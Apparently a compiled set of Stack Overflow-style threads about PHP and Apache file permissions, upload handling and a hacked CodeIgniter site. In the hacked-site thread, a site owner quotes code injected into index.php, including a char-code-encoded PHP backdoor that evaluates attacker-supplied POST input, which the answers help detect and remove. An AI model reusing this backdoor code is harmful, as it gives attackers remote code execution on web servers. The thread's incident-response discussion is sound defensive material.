Website not working after uploading files via FTP - php
I have a website written in PHP, running on an Apache server. In the past, I make a change to a file, upload it back to the server via FTP, and I see the changes reflected in the browser. Recently, I made changes to many files (I changed all references to 'http://' to '//' because we may be using SSL), and I uploaded the entire site back to the server via FTP, overwriting all changes on the server (I used FileZilla client). Now, when I navigate to my site in the browser, nothing shows up (it is just blank). I tried changing the permissions (first 755 for directories and 644 for files, then 755 for everything, then even 777 for everything), but that didn't work. Is it possible that the upload broke something? I'm trying to figure out whether it was the upload that broke something or if it was the changes that I made to the actual files. Thanks in advance!
Related
How to put_file_contents with php without user denied error?
I'm trying to replace the contents of a file in a different folder than my php file folder, and I'm getting an error: "Failed to open stream, Permission Denied" I'm using the put_file_contents function to change the file contents. I searched online for a solution to this problem and found that the file directory is allowed to be written only by the owner/user. I checked directory properties in filezilla (ftp), and found that the directory was not writable by group or public. In filezilla, I tried allowing the directory to be written by public, and the php file was able to write to the folder's file. Therefore, I think I can easily set the permissions to the file only, and not the directory, and easily replace it's content by setting the permission as writable by public. Although I don't understand what owner/group/public options mean? Cause this is supposed to be a website's webserver hosted on a paid domain host, and I'm not sure if the public write option is safe or not, or why would there be user groups for a webserver hosting only a single website? Since only a php file can change the contents on a webserver, why is a public option provided for a webserver? If it's for uploads, then that too means the upload page resides on the server! I cannot access the terminal on ftp or cpanel therefore I cannot execute chmod etc... Please could someone provide more detail regarding security risks to files with public write permissions?
A server is still a computer, like any of them. This means that you can create several users, and that a lot of things can happen. Your server might not necessarily stay only a web server. Obviously it is also an FTP server, and you probably also can access it using ssh. In the future you might want to use it for another purpose. In any case, even if you use it just as a web server, setting a folder's permission as writable to the every user is dangerous, because of the security risks that your code most inevitably will have. It can act as a safeguard : even if you write something dangerous in the future, it contains the damage. That is the reason why on some systems, the software responsible for serving http requests (typically Apache) runs as a specific user httpd. User groups is just what it says it is : defined groups of users. You can read about it easily online.
Laravel uploaded files, low permissions
Good day everyone. I am building a Laravel 4 application and I have some file permissions issues. Once the file has been uploaded by the client, it's moved in a folder. However, the file gets very little permissions, is assigned the user www-data and can't be touched / moved by anything else. I need to know how to dynamically permit laravel to have permissions on those files because I'm using CloudConvert to convert this file. I'm on Ubuntu 14.04 also and my prod is on debian. I already tried to chmod -R the folder, which works for files already saved, but when new ones are created, it doesn't work anymore and stays in www-data ready-only low permissions. Thank you for your answers. EDIT : I might have found something : chmod g+s with given permissions. I read it gave recursive permissions to created files. I'll try once I'm home.
That account "www-data" is the default account for the web server. That is why it becomes the owner of the files and has full access to them, from a web angle. If what is happening is that you are trying to then convert the files outside the web context (like a cron job or something) then you need to make sure the same user (or maybe a group) owns the files. Have not tried CloudConvert (looks cool, will check it out) but maybe you can leverage Laravel's queues and that way execute your conversion with the web server's "www-data" account?
It was a stupid mistake on my side, I'm afraid. I was renaming the file before curl could pass on it, making it unable to know what was the original file name (getClientOriginalName()).
Denying PHP Script To run within certain folder but still making it downloadable
I am designing internal mail delivery application for the users of my site using PHP and MySQL. In which users can attach attachments like images and others. but problem occurs when user attach a PHP script or html page as an attachment. Giving direct url to the recipient cause the script/page attached to run on server. Which in turn dangerous if it has some vulnerable code for the website. So What I want is : Denying all PHP scripts , .html and .exe files within attachment folder to run on server But all files must be still downloadable and viewable inside website as text file(for .php, .html, .css, .js files) by checking authorization of user by another PHP script located in another folder All in all Denying access to scripts but not the folder Can any one help me in this ? I've seen questions similar to this like: Disable PHP in directory (including all sub-directories) with .htaccess but this is different from that as it specifically asks for iis environment and web.config solution(if possible). But others uses .htaccess or httpd.conf which both doesnt work on iis on windows Thanks in advance.
I think the quickest and easiest way would be to simply zip all uploaded files, and then serve them all as zips, regardless of content. You could also get some stuff done with .htaccess files, but in case the server software changes you may need to mess with it again in order to make everything safe again, and while you don't, you're exposed.
Codeigniter application getting hacked, code injected in index.php
I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do: Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem. Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...) Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring. Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name. This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files. As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).
Is it possible to move_upload_file to my server
I've hosted a site on a shared hosting server. I've a given permission 776 to a folder, is it possible for someone to upload a file using move_upload_file to my server from his home pc or own server ? Edit If i do not provide the front panel or some UI to the user is it still possible to upload file ?
You use move_uploaded_file (note: upload*ed*) to move/rename files in your PHP scripts on your server. The special thing about move_uploaded_file vs. rename is that it will check whether the file was just uploaded in the same HTTP request. If it wasn't, it will fail with an error. This is to prevent errors in your script or malicious users from tricking your server into moving any other sort of files around that you didn't intend to move. Using it you can be sure that you're only moving uploaded files out of the temp directory to some other destination. That's all it does. It does not upload files to some other server. You cannot simply upload files to some other server without that server handling that upload somehow (like through a PHP script, FTP, SCP etc).
Not sure what you're asking exactly. If you're saying, can you make an HTML form and have someone hit that from their browser to upload. That depends what user apache runs as. You can make an HTML form, catch it with PHP and use move_uploaded_file if whatever user apache runs as can create a file in that directory. If you're thinking someone can write a php script on another computer, and use the function move_uploaded_file, then no, you definitely can't. That's not what that function does. I'd recommend using SCP for something like that.
No, if you do not provide a script which receives the file and moves it, some other user can't upload a file to your server. All move_uploaded_file does is move a file from the temporary directory on the hard drive to a different location on the same hard drive. It cannot put files on someone else's computer. Your question is equivalent to asking whether your next door neighbor can copy child pornography onto your home PC's hard drive over the internet. You should be happy that the answer is no.